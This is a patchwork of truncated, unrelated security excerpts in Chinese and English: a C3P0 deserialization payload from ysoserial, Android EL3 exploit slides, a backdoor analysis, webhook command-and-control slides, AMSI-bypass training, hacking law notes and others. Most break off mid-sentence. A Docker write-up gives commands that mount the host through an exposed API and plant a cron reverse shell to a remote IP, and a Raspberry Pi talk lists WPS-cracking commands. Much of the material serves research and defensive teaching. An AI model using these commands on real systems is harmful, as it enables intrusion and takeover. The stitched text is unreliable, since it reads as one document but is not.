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S-C3P0反序列化 起因 一个关于 fastjson 不出网的利用方法利用 C3P0 结合 ROME 二次反序列化注入内存马 漏洞原理 yso源码 首先来看 yso 的构造链以及如何生成 payload 构造链 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject - > com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject - > com.sun.jndi.rmi.registry.RegistryContext->lookup package ysoserial.payloads; import java.io.PrintWriter; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * com.sun.jndi.rmi.registry.RegistryContext->lookup * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject * * Arguments: * - base_url:classname * Yields: * - Instantiation of remotely loaded class * @author mbechler * */ @PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons- java:0.2.11"} ) @Authors({ Authors.MBECHLER }) public class C3P0 implements ObjectPayload<Object> { 序列化的过程首先创建一个 PoolBackedDataSource 对象然后通过反射将 connectionPoolDataSource 属性修改为 PoolSource 的实例化对象所以此处查看一下序列化 的过程 序列化过程 public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>: <classname>"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWitho


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EL3 Tour: Get The Ultimate Privilege of Android Phone Guanxing Wen 2019 Bio  Senior Security Researcher at Pangu  Exploitation and Reversing Engineering  Recently  Firmware, Bootloader, Kernel  Previously  Adobe Flash Agenda  ARMv8 Privilege mode  Post-startup architecture of Huawei P20  Hunt EL3 Vulnerabilities  Execute shellcode in EL3  Face ID Bypass ARMv8 Privilege Mode Linux Kernel Hypervisor Trusted Firmware (No limits: Physical Memory, TTBR0_ELx, VBAR_ELx, ) Trusted Kernel Application Framework Libraries Services Trusted App EL0 EL1 EL2 EL3 Normal World Secure World Huawei P20 Huawei P20  ARMv8 (Hisilicon Kirin 970) Huawei P20  ARMv8 (Hisilicon Kirin 970)  Android phone with great cameras Huawei P20  ARMv8 (Hisilicon Kirin 970)  Android phone with great cameras  Customized EL3 and S-EL0 & 1 Boot Chain fastboot.img Boot Chain FASTBOOT Boot Chain FASTBOOT trustﬁrmware.img teeos.img kernel.img Boot Chain Trusted Firmware teeos.img kernel.img EL3 Boot Chain Trusted Firmware teeos.img kernel.img EL3 Boot Chain Trusted Firmware kernel.img EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 Boot Chain Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Interact with Secure World Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Normal World Secure World svc Interact with Secure World Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Normal World Secure World smc Interact with Secure World Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Normal World Secure World Interact with Secure World Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Normal World Secure World IPC Interact with Secure World Trusted Firmware EL3 ARM Trusted Firmware  https://github.com/ARM-software/a


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Translation-Based Steganography Christian Grothoﬀ Krista Grothoﬀ Ludmila Alkhutova Ryan Stutsman Mikhail Atallah CERIAS, Purdue University {christian,krista}@grothoff.org, {lalkhuto,rstutsma}@purdue.edu,mja@cs.purdue.edu Abstract. This paper investigates the possibilities of steganographically embedding information in the noise created by automatic translation of natural language documents. Because the inherent redundancy of nat- ural language creates plenty of room for variation in translation, machine translation is ideal for steganographic applications. Also, because there are frequent errors in legitimate automatic text translations, additional errors inserted by an information hiding mechanism are plausibly unde- tectable and would appear to be part of the normal noise associated with translation. Signiﬁcantly, it should be extremely diﬃcult for an adver- sary to determine if inaccuracies in the translation are caused by the use of steganography or by deﬁciencies of the translation software. 1 Introduction This paper presents a new protocol for covert message transfer in natural lan- guage text, for which we have a proof-of-concept implementation. The key idea is to hide information in the noise that occurs invariably in natural language trans- lation. When translating a non-trivial text between a pair of natural languages, there are typically many possible translations. Selecting one of these transla- tions can be used to encode information. In order for an adversary to detect the hidden message transfer, the adversary would have to show that the generated translation containing the hidden message could not be plausibly generated by ordinary translation. Because natural language translation is particularly noisy, this is inherently diﬃcult. For example, the existence of synonyms frequently allows for multiple correct translations of the same text. The possibility of er- roneous translations increases the number of plausible variations and thus the opportunitie


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Mac OS X Server Open Directory Administration For Version 10.3 or Later 034-2352_Cvr 9/12/03 10:29 AM Page 1  Apple Computer, Inc.  2003 Apple Computer, Inc. All rights reserved. The owner or authorized user of a valid copy of Mac OS X Server software may reproduce this publication for the purpose of learning to use such software. No part of this publication may be reproduced or transmitted for commercial purposes, such as selling copies of this publication or for providing paid for support services. Every effort has been made to ensure that the information in this manual is accurate. Apple Computer, Inc., is not responsible for printing or clerical errors. Use of the keyboard Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. Apple, the Apple logo, AirPort, AppleScript, AppleShare, AppleTalk, ColorSync, FireWire, Keychain, Mac, Mac OS, Macintosh, Power Mac, Power Macintosh, QuickTime, Sherlock, and WebObjects are trademarks of Apple Computer, Inc., registered in the U.S. and other countries. Extensions Manager, and Finder are trademarks of Apple Computer, Inc. Adobe and PostScript are trademarks of Adobe Systems Incorporated. Java and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries. Netscape Navigator is a trademark of Netscape Communications Corporation. RealAudio is a trademark of Progressive Networks, Inc. UNIX is a registered trademark in the United States and other countries, licensed exclusively through X/Open Company, Ltd. 034-2352/09-20-03 LL2352.Book Page 2 Friday, August 22, 2003 3:12 PM 3 3 Contents Preface 9 About This Guide 10 Using This Guide 11 Getting Additional Information Chapter 1 13 Directory Service Concepts 15 Directory Services and Directory Domains 16 A Historical Perspective 17 Data Consolidation 18 Data Distribut


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Hacking Embedded Devices (Doing Bad Things to Good Hardware) About your hosts  Phorkus has been breaking things since he was 5 years old.  SomeDmes with a hammer, someDmes a soldering iron.  EvilRob has been causing mayhem and devastaDng electronics since before he met beer.  Beer good. Fire bad. Before We Get Started  Wed like to thank some of the people whos work helped us make this possible  Joe Grand (You should all know him from TV)  Emerson Tan (The wonders of methylene chloride)  Flylogics silicon device aOacks ( hOp://www.ﬂylogic.net/blog/)  Everyone whos ever screwed with an Arduino, AVR, ARM, MIPS, etc.  Finally to our families who gave us support as we liOered our houses with archaic electronics Why Were Here.  Well present a series of steps to help you evaluate a device for possible security holes.  Were trying to get a series of repeatable tasks that will allow you to begin the hardware and soUware evaluaDon  Well be standing up a site open to the community to be used to share informaDon on devices that people are working on cracking GeVng Down To Business  Youll need a few key pieces of physical equipment and soUware tools  Most of these items are not expensive and can be acquired for $500- $1000  A few of the big items (well cover these in detail)  Your Brain  A Voltmeter  Surface Mount Soldering/Hot Air Rework StaDon  Soldering Stuﬀs  Magnifying Glass  Microscope  Bus Pirate  Spare Parts  Debugging Interfaces  IDA Pro Your Brain  Remember SAFETY SAFETY SAFETY  Electricity can kill and maim and kill  Always be aware of your surroundings when soldering  Wear safety glasses  Dont die A Voltmeter  Absolutely needed to do circuit probing  Used to test various parts for electrical resistance  Needed to test the circuit voltage so you dont destroy your Bus Pirate  Check diode conducDvity  USB Volt Meters are great for recording directly to your computer  Volt Meters can go from very cheap all the way into the high hundreds (Fluke)  Well be using a $60 USB m


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Under the iHood DEFCON 16 Cameron Hotchkies 1 1chotchkies@tippingpoint.com DEFCON 16 Hotchkies ( chotchkies@tippingpoint.com ) Under the iHood DEFCON 16 1 / 50 About Me Work at TippingPoints Digital Vaccine Labs Responsible for vuln-discovery, patch analysis, product security Keep tabs on us at http://dvlabs.tippingpoint.com Author and contributor to: PaiMei Reverse Engineering Framework Absinthe SQL Injection tool Side projects: XSO - OS X Reversers: http://0x90.org/mailman/listinfo/xso Hotchkies ( chotchkies@tippingpoint.com ) Under the iHood DEFCON 16 2 / 50 Talk Outline File Formats Tools Common Disassembly Patterns Carbon Objective-C Case Study (Mac vs. Windows) Hotchkies ( chotchkies@tippingpoint.com ) Under the iHood DEFCON 16 3 / 50 Applications Applications in OS X are stored in a directory structure referred to as bundles or packages Finder will treat any directory ending in .app as a single entity self contained package with the binary and all necessary resources Hotchkies ( chotchkies@tippingpoint.com ) Under the iHood DEFCON 16 4 / 50 Application directory structure Hotchkies ( chotchkies@tippingpoint.com ) Under the iHood DEFCON 16 5 / 50 Info.plist XML or binary based list of application properties contains data such as major & minor version numbers, icon names, etc Well documented by Apple use plutil to convert between xml and binary formats The plutil command obeys no ones rules but its own. Hotchkies ( chotchkies@tippingpoint.com ) Under the iHood DEFCON 16 6 / 50 PkgInfo APPL indicates an apple application bundle No relevant information in the ﬁle 4-byte package type followed by the 4-byte signature Hotchkies ( chotchkies@tippingpoint.com ) Under the iHood DEFCON 16 7 / 50 Mach-O the standard binary format on OS X identiﬁed by the magic number 0xFEEDFACE 0xFEEDFACF on 64-bit Fat/Universal binaries include code for multiple architectures Fat binaries are identiﬁed by 0xCAFEBABE Hotchkies ( chotchkies@tippingpoint.com ) Under the iHood DEFCON 16 8 /


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Is This Your Pipe? Hijacking the Build Pipeline $ whoami @rgbkrk OSS, Builds and Testing Protecting pipelines  Need Want beneﬁts of continuous delivery!  Open source pathways to real, running infrastructure!  Community services with > 200,000 users Build Pipeline Components  Source Control  Continuous Integration  Upstream Sources Real Sites Need Secrets What secrets?  Cloud Credentials  OAuth Secrets  Integrate with etc. Managing Secrets Managing Secrets Not Credentials Get Leaked Rich Mogull I did not completely scrub my code before posting to GitHub. I did not have billing alerts enabled ... This was a real mistake ... I paid the price for complacency. ಠ_ಠ What can be done with Cloud Credentials?  Build new infrastructure  Delete your infrastructure  Append SSH keys to your primary set  Change root passwords  Redistribute your DNS and Load Balancers ಠ_ಠ Secret Finding Demo Cant we just let people know when they fuck up? gitsec/nanny  Search repositories for security oops  Email the original committer & owner of the project  Let them know how to revoke keys, panic Responses  Wow, thank you. How did you find these?  This is only a testing project  I dont even own this repository conﬁg/initializers/ secret_token.rb ಠ_ಠ What if you need secrets for testing? Travis CI Continuous Integration Build Platform Travis CI  Open Source, free for public repos  git push -> web hook -> tasks  Less control than Jenkins  Encrypted Secrets! language: python python: - 2.7 before_install: - pip install invoke==0.4.0 pytest==2.3.5 install: - pip install . script: invoke test Travis & Encrypted Secrets Can we leak decrypted secrets?  Travis CI Keys used for encryption and decryption are tied to the repository. If you fork a project and add it to travis, it will have a different pair of keys than the original. Masquerade Process 1. Find repository with credentials 2. Do legitimate work on a feature or bug 3. Include your security oops ... 4. Proﬁt Speaker Transition! Whats the Build Pip


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瑞星公司 FastDesktop 后门分析报告 报告贡献者XywCloud白同桌花茶 北京瑞星网安技术股份有限公司 北京瑞星网安技术股份有限公司 1 概述 瑞星威胁情报平台于 2022 年 3 月通过部署在 VirusTotal 上的瑞星扫描器搭载的机器学习引擎捕获 到了数个检出率较低的.NET 恶意程序 图其中一个文件的 VirusTotal 初次扫描结果 经分析溯源我们将这批恶意程序与相关的组件定性为后门并将其命名为"FastDesktop" 在分析过程中我们还发现该后门有两个大版本为便于区分将其分别命名为 v1 和 v2 版两个版 本的使用到的攻击技术及基础设施基本相同只是攻击流程有所区别本报告的样本分析章节将以 v2 版的样本分析为主之后会对 v1 版和 v2 版作简单的对比分析 整套样本使用了多种免杀技术相关技术也会在之后的章节进行介绍 攻击流程及样本分析 攻击流程 北京瑞星网安技术股份有限公司 2 图v1 版攻击流程 图v2 版攻击流程 样本分析 初始样本 样本基本信息 文件名 备用注册卡密.exe MD5 BBBC3919B71F50FBF6939088B7B7FD9E 文件大小 10.50 KB 文件类型 EXE 病毒名 Backdoor.FastDesktop!1.DD2A 表备用注册卡密.exe 样本基本信息 代码分析 该样本为整个攻击链条上的初始样本执行主要恶意行为的代码位于函数 entry此函数负责下载并 执 行 下 阶 段 的 恶 意 样 本  其 中 特 别 需 要 注 意 的 是 下 载 链 接 格 式 为 "http[:]//asbit[.]cn/setup.core?t=%x"其中参数 t 的值为调用系统 API 函数获取的本地计算机 启动时间攻击行动中的下载链接会随着时间不同而产生动态变化以此改变文件的 Hash 值在后 续攻击流程的其他阶段中都会使用此方法相关内容将会在之后的章节进行介绍 北京瑞星网安技术股份有限公司 3 图初始样本 entry 函数代码 根据下载链接的地址下载的恶意样本被命名为 setup.core.dll setup.core.dll 样本基本信息 文件名 setup.core.dll MD5 DA0A5953C6EE6AE87022BA39FC4D8C74 文件大小 36.50 KB 文件类型 DLL 病毒名 Backdoor.FastDesktop!1.DCA0 表setup.core.dll 样本基本信息 该样本主要功能除了下载下阶段模块样本之外还需要执行其他操作比如创建相关服务以实现持 久化并通过启动服务的方式执行下载的恶意样本 代码分析 首先获取存放下载文件的本地路径其中下载文件存放的目录名是本地电脑名的 CRC32 校验值 北京瑞星网安技术股份有限公司 4 图获取下载文件存放路径 其次判断传入参数中是否包含字符串"uninstall"包含此字符串则进行后门卸载操作删除相关服 务及目录 图删除相关服务及目录 最后如果参数中不包含"uninstall"字符串则执行样本的主要恶意功能下载文件并释放本地创 建并启动服务设置注册表项等功能 图主要功能代码 下载地址的格式为"http[:]//asbit[.]cn/zipack/full?t=%x"参数 t 的值是 GetTickCount 函数获 取的本地计算机启动时间通过读取数据流的方式将从服务器读取的数据存放于内存中然后将 内存中的数据进行解压写入本地目录中 北京瑞星网安技术股份有限公司 5 图下载数据代码 图读 取的数据流 释放于本地目录的下载文件 图被下载的文件 在被下载的文件中fdsvc.dll 和 libexpat.dll 是在后续代码中需要用到的程序根据文件的版本 信息可知两个文件均为迅雷公司的库文件其中 fdsvc.dll 为白名单文件版本信息显示文件的 真实名称为XLServicePlatform.dll而 libexpat.dll 则是攻击者伪造的恶意程序 北京瑞星网安技术股份有限公司 6 图fdsvc.dll 版本信息 服务创建并设置自启动该服务的启动路径为本地的 svchost.exe 程序相关代码如下图 图创建服务并设置自启动 服务创建成功后通过创建注册表项来设置服务对应的动态链接库 图创建注册表项 其结果如下图 北京瑞星网安技术股份有限公司 7 图创建的服务 图服务启动的注册表项 svchost.exe 启动服务时会动态加载服务注册表项中指向的文件虽然该文件是迅雷公司的正常文 件但攻击者通过伪造其导入表中的 libexpat.dll实现了 DLL 劫持将恶意样本挂载到 svchost.exe 程序进行执行 程序运行最后会有一个安装成功弹框我们推测此处是否出现弹框可在生成被控端时进行控制将 在


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Abusing Web Hooks For Command And Control Dimitry Snezhkov @Op_nomad X-Force Red IBM Corporation What we are going to talk about Subject: Safe(er) bidirectional delivery of content and communication across network boundaries with the use of WebHook technology. From: - Hostile networks - Monitored networks - Censored networks - Restricted networks To: - External Hosts under your control. (C&C servers) Purpose: - External Content Retrieval - Internal Content Exfiltration - Shell Execution on External and Internal Hosts Audience Offense  Red Teamers  Pen Testers Defense  DF/IR folks  Sysadmins  Developers  Privacy Advocates  Anyone interested in covert communication Dimitry Snezhkov X-Force Red , IBM Corporation Opinions expressed are solely my own and do not express the views or opinions of my employer or its products. What I do: - Offensive Testing - Code Hacking - Tool Hacking - Other security work Watson> Are you sure?.. About Meet Defense at their map of the world.  Seek alternative means of effective outbound communication through content proxies.  Maximize adaptive retooling capability for exfiltration.  Minimize discoverability of outbound communication in environments  Use opportunities in targeted environment to overcome restrictions. Context: Strategic Goals  Achieve asynchronous or realtime-asynchronous communication between hostile network and external server under your control.  Attempt to achieve reverse connectivity to hostile networks from external server under your control  Avoid existing detection mechanisms, elevating OpSec capability.  Attempt to avoid censorship in communicating to safe external server under your control. Context: Tactical Goals Technical Mechanisms  Discover HTTP WebHooks concept.  Use WebHooks to Achieve asynchronous unidirectional or bi-directional connectivity with external world.  Develop a tool to shuttle communication over WebHooks. Set The Stage: Players  Offense (RED)  Defense(BLUE)  Content Proxy  Command and Control Ser


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# Docker未授权访问漏洞 ## 漏洞描述 恶意攻击者可以在未经授权的情况下访问 Docker 服务器或容器这可能导致敏感数据泄露或允许攻击者执行未经授权的操作如添加修改或删除容器 ## 环境搭建 安装docker ``` yum install -y docker ``` 修改`/usr/lib/systemd/system/docker.service`服务启动API接口 ``` ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock ``` ![image-20220726104747298](../../.gitbook/assets/image-20220726104747298.png) 重启docker服务 ``` systemctl daemon-reload systemctl restart docker ``` ![image-20220726104829456](../../.gitbook/assets/image-20220726104829456.png) ## 漏洞复现 输入`ip:2375/version`就会列出基本信息和docker version命令效果一样 ![image-20220726104904921](../../.gitbook/assets/image-20220726104904921.png) **利用docker容器写定时任务反弹shell** 我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录由此我们可以获得任意读写的权限然后我们再将反弹shell命令写入定时任务crontab中即可使宿主机反弹shell ``` [root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh ``` 写入定时计划 ``` / # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root ``` ![image-20220726110359885](../../.gitbook/assets/image-20220726110359885.png) ## 安全加固 在不必需的情况下不要启用docker的remote api服务如果必须使用的话可以采用如下的加固方式 ``` 设置ACL仅允许信任的来源IP连接 设置TLS认证官方的文档为Protect the Docker daemon socket ``` 客户端与服务器端通讯的证书生成后可以通过以下命令启动docker daemon ``` docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock ``` 客户端连接时需要设置以下环境变量 ``` export DOCKER_TLS_VERIFY=1 export DOCKER_CERT_PATH=~/.docker export DOCKER_HOST=tcp://10.10.10.10:2375 export DOCKER_API_VERSION=1.12 ```


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玩转攻击检测 ID: tang3 用机器学习 绿盟科技 申军利 WHOAMI  IDtang3  绿盟科技安全研究员  WEBJava Web相关 PHP代码审计渗透攻防技术 研究  机器学习围观人员  健身爱好&研究者  棋臭瘾大围棋渣 目的思路分享 思路心得实践 常见机器学习方向  预测  分类  聚类 机器学习是 将现实问题转换为数学问题求解的过程 思考步骤  确认待解决问题是哪一类的问题  先正则后机器学习量质 没足够数量级的样本说个P 思考步骤  确认待解决问题是哪一类的问题分类  先正则后机器学习量质  特征量如何数字化数据预处理 数据的预处理 将数据内容转化为可以计算的模样 思考步骤  确认待解决问题是哪一类的问题分类  先正则后机器学习量质  特征量如何数字化数据预处理  选择最适合的算法  初期效果不错后再对算法进行进一步完善 机器学习不是万灵药它也有适合不适合的场景 实战环节 攻击检测引擎的实现  正常与攻击的二分类问题逻辑回归  攻击语句按照类型可以很容易得到大量样本  特征量是什么怎么数字化 问题思考 -1 and union select password from admin + 垃圾邮件分类器 朴素贝叶斯算法 (Naive Bayes, NB 算法)  正常与攻击的二分类问题逻辑回归  攻击语句按照类型可以很容易得到大量样本  特征量是什么怎么数字化 词与词的 关系 统计 问题思考  正常与攻击的二分类问题逻辑回归  攻击语句按照类型可以很容易得到大量样本  特征量是什么怎么数字化  算法朴素贝叶斯 问题思考  D为整个文本h+/h-分别代表攻击和非攻击W1 代表D中的第一个单词  P(h+|D) = P(h+)*P(D|h+)/P(D)  P(h-|D) = P(h-)*P(D|h-)/P(D)  P(h+|D)<>P(h-|D) 公式推演  使用朴素贝叶斯来简化计算 P(D|h+)=P(W1|h+)*P(W2|h+)*P(W3|h+) P(D|h-)=P(W1|h-)*P(W2|h-)*P(W3|h-) 公式实际应用  -1 union select 1,123,2 +  p(-1 union select 1,123,2 --+|h+) = p(-1|h+)  p(union|h+)  p(select|h+)  p(1|h+)   使用统计  大数定理  1000个攻击相关的单词union出现了10次那 P(union)=0.01 数据预处理  每种攻击一套 分词 单个切词性能很好但*10 一种攻击一个切词工作量 数据预处理通用分词  攻击语句均有代码特征抽象代码特性进行分词 可行  保证性能消耗不会因为攻击类型的增多而线性增 长值得 实现之后与正则检测 有什么不一样 不需编写任何代码规则便可完成建模 更新规则只需添加新语料到规则库 比正则引擎快上十多倍的检测效率 对算法进行交叉验证误报率6%漏报率0.66% 吸星数据来自K折线方法的评估 其他数据来自长亭PPT 0 20 40 60 80 吸星 SQLChop 厂商A 厂商B 厂商C libinjection 漏报率 误报率 广 告 我们做的这个攻击检测引擎叫做吸星 吸星 Star Track http://startra.nsfocus.com 发现漏误报可以联系 iamtang3@gmail.com 一些问题 概率是失控的也是公平的 通用切词如果发生修改就是 牵一发而动全身 每种攻击语言都有自己个 性的一面 WTF @eval//kjkjkjk ($_GET// [//kjkjkj 'c'//kjkioewuorwuo ]//kjlsjlkjljlkj ); @eval($_GET[c]); 一些猜想  单词的统计+其他分类机器学习逻辑回归  这种思路在日志审计甚至代码审计中能否使用 道阻且长 路漫漫其修远兮吾将上下而求索


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Copyright 2019 NCC Group An NCC Group Publication Common Security Issues in Financially- Oriented Web Applications A guideline for penetration testers Prepared by: Soroush Dalili Version 2.0 NCC Group | Page 2  Copyright 2019 NCC Group Contents 1 Introduction ...................................................................................................................................... 3 2 Common Vulnerability Classes in Financially-Oriented Web Applications ...................................... 4 2.1 Time-of-Check-Time-of-Use (TOCTOU) and Race Condition Issues .................................... 4 2.1.1 Transferring Money or Points, or Buying Items Simultaneously................................ 4 2.1.2 Changing the Order upon Payment Completion ....................................................... 5 2.1.3 Changing the Order after Payment Completion ........................................................ 6 2.2 Parameter Manipulation ......................................................................................................... 6 2.2.1 Price Manipulation ..................................................................................................... 6 2.2.2 Currency Manipulation ............................................................................................... 6 2.2.3 Quantity Manipulation ................................................................................................ 7 2.2.4 Shipping Address and Post Method Manipulation ..................................................... 7 2.2.5 Additional Costs Manipulation ................................................................................... 7 2.2.6 Response Manipulation ............................................................................................. 7 2.2.7 Repeating an Input Parameter Multiple Times .......................................................... 8 2.2.8 Omitting an Input Parameter or its Value ........................................


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新一代的恐怖袭击 基于树莓派的 渗透测试 锦龙信安(威客众测平台) 高级安全工程师 MXi4oyu 什么是树莓派 Raspberry Pi(中文名为树莓派,简写为RPi或者RasPi/RPi)是只有信 用卡 大小的微型计算机 树莓派之父埃本阿普顿Eben Epton 初心能够在帮助小孩学习的同时也能让他感受到在学习编程过程中的 愉悦感 树莓派的特点 (1)可编程可拓展可编程控制GPIO口可接各种传感器模块等 (2)可学习可娱乐集学习和娱乐于一身 (3)携带方便一张标准的信用卡大小 (4)成本低25美元 主要版本 树莓派B 树莓派B+ 树莓派接线图 小试牛刀-准备工作 (1)树莓派B+ (2)HDMI连接线1根 (3)SD卡(至少4G) (4)网线一根 (5)外接键盘 (6) Mini usb 数据线(输出电压5V给树莓派供电) 小试牛刀-系统烧录 (1)下载系统镜像 http://www.raspberrypi.org/downloads (2)使用Win32Disk Imager 进行镜像恢复 http://sourceforge.net/projects/win32diskimager/ (3)写入系统镜像 小试牛刀-基本设置 小试牛刀-基本配置 小试牛刀-登录系统 渗透测试系统-Pwn Pi http://www.pwnpi.com/ 树莓派安装Kali准备工作 (1)树莓派B+ (必备) (2)Micro SD卡 至少4G,必备) (3)Mini usb 数据线 (输出电压5V,必备) (4)HDMI连接线 (5)9寸车载Mini显示器 (6)无线键盘+鼠标套装 (7)3G/4G上网卡 (8)无线网卡支持监听模式) (9)读卡器 树莓派安装kali系统烧录 树莓派安装Kali开机启动 https://www.offensive-security.com/kali-linux-vmware-arm- image-download/ 摆渡攻击 狭义上的网络渗透的必然途径只能是互联网或者电话当我们的目标处在 一个规格严密的内网中我们有什么好的办法达到我们想要的目的 在现实生活中被河流隔断的两岸往往利用渡船进行摆渡实现相互交通而 在网络渗透中我们可以采取一种称之为摆渡攻击的手段而今天的树 莓派就是我们摆渡的船 攻击流程图 1.设备准备与信息收集 2.以社工等手段把树莓派送入内网 3.攻击路由器无线AP个人手机平板PC和服务器 4.以内部机器作为跳板漫游内网 供电 内网穿透 SSH Tunnel-SSH A主机外网www.91duofanli.comsshd端口22 B主机内网sshd端口22 SSH Tunnel证书登录 SSH Tunnel-AutoSSH SSH Tunnel-AutoSSH 接入互联网 利用3G/4G信号接入互联网 隐秘安装树莓派机器内部 隐秘安装树莓派伪装成礼物 信息收集 隐秘安装树莓派放到不宜察觉的地方 搜索附近无线热点 云检索 将ESSID:BSSID做为key 若此key不存在云端服务器中则将其添加到云服务器中value为password 列表默认为空 若此key存在云端服务器中则将查询结果返回到树莓派 根据检索密码自动连接无线热点 尝试破解wps airmon-ng start wlan0 wash -i mon0 C nohup sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S N -v -d2 -t 5 -c 11 - o fbi & wpa/wpa2 无线密码破解 树莓派超级计算机与计算机集群 搭建钓鱼wifi (1)桥接方式设置热点 (2)路由方式设置热点 中间人攻击 找到跳板机 Python编程控制树莓派GPIO 通过GPIO控制继电器


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ANTHONY ROSE JACOB KRASNOV VINCENT ROSE 1 @bcsecurity1 2 Legal StuffSo we dont go to jail Training is for informational and research purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The information provided by us is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Introduction ANTHONY ROSE C01И  Co-founder, BC Security  Lead Researcher, Merculite Security  MS in Electrical Engineering  Lockpicking Hobbyist  Bluetooth & Wireless Security Enthusiast 3 whoami JACOB KRASNOV HUBBLE  Co-founder, BC Security  BS in Astronautical Engineering, MBA  Red Team Lead  Currently focused on embedded system security VINCENT ROSE HALCYON  Security Researcher, BC Security  BS in Computer Science  Software Engineer Introduction  How to mask your malware to avoid AMSI and Sandboxes 4 Why are we here? Introduction  Antimalware Scan Interface (AMSI)  Malware Triggering  Empire  Obfuscation Techniques  Invoke-Obfuscation  AMSI Bypasses  Sandbox Evasion  Put it all together 5 Overview Introduction  Introduce Microsofts Antimalware Scan Interface (AMSI) and explain its importance  Learn to analyze malware scripts before and after execution  Understand how obfuscate code to avoid AMSI and Windows Defender  Detect and avoid sandbox environments 6 Goals Introduction We will teach you to  operate Empire  obfuscate Powershell  avoid AMSI and Sandboxes We are not going to teach you  how to be a leet hacker 7 Expectations Introduction -h What is Malware? 8  Obfuscation is the main means by which Malware achieves survival  Defeat signature-based Antivirus  Makes analysis more difficult 9 Overview of the Evolution of Malware Obfuscation What is Malware Im Obfuscated You cant find me The first virus to obfuscate itsel


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What are we talking about here? Anti-hacking law Communications law Intellectual property Criminal procedure Computer Fraud and Abuse Act (18 U.S.C. 1030) This is the federal anti-hacking law. Most states have something similar, too. CFAA basic prohibitions  Accessing a government computer without authorization for espionage purposes  Accessing a computer without authorization or in excess of authorization and obtaining info from: * a financial institution or credit reporting agency * a government computer * a "protected computer"  Trespassing upon a government system  Accessing a computer without authorization or in excess of authorization to defraud CFAA basic prohibitions  Sending a program, information, code or command to a computer and intentionally causing damage  Intentionally accessing a protected computer w/ out authorization and - recklessly causing "damage" or - causing "damage and loss"  Trafficking in passwords or other authorization methods  Threatening to damage a computer (extortion) The biggest problem The CFAA prohibits, among other things, intentionally access[ing] a computer without authorization or in excess of authorization, and thereby obtain[ing] . . . information from any protected computer. 18 U.S.C.  1030(a)(2)(C) The biggest problem The CFAA prohibits, among other things, intentionally access[ing] a computer without authorization or in excess of authorization, and thereby obtain[ing] . . . information from any protected computer. 18 U.S.C.  1030(a)(2)(C) Wha...? What makes access without authorization?  Breaching a technological barrier meant to restrict access?  Using unanticipated or novel technical means to access?  Accessing for an improper purpose? Penalties  Both civil and criminal.  Basic unauthorized access is a misdemeanor, but the statute has broad felony liability when: o the illegal act is committed with intent to profit o information obtained is worth more than $5,000 o act is in furtherance of a fraud, or o repeat offense. E


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mac 0x00 scheme 0x01 macdefault application default application 2.pypython launchpython windows Uniform Type Identifier https://en.wikipedia.org/wiki/Uniform_Type_Identifier https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System- DeclaredUniformTypeIdentifiers.html 0x02 /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/ lsregister -dump > dumpfile dumpfiledumpfile vimdumpfileshell-scrip shell.sh.bashjs javawebstartjnlp wfox.command.tool iterm2 iterm2utischeme.its.itr


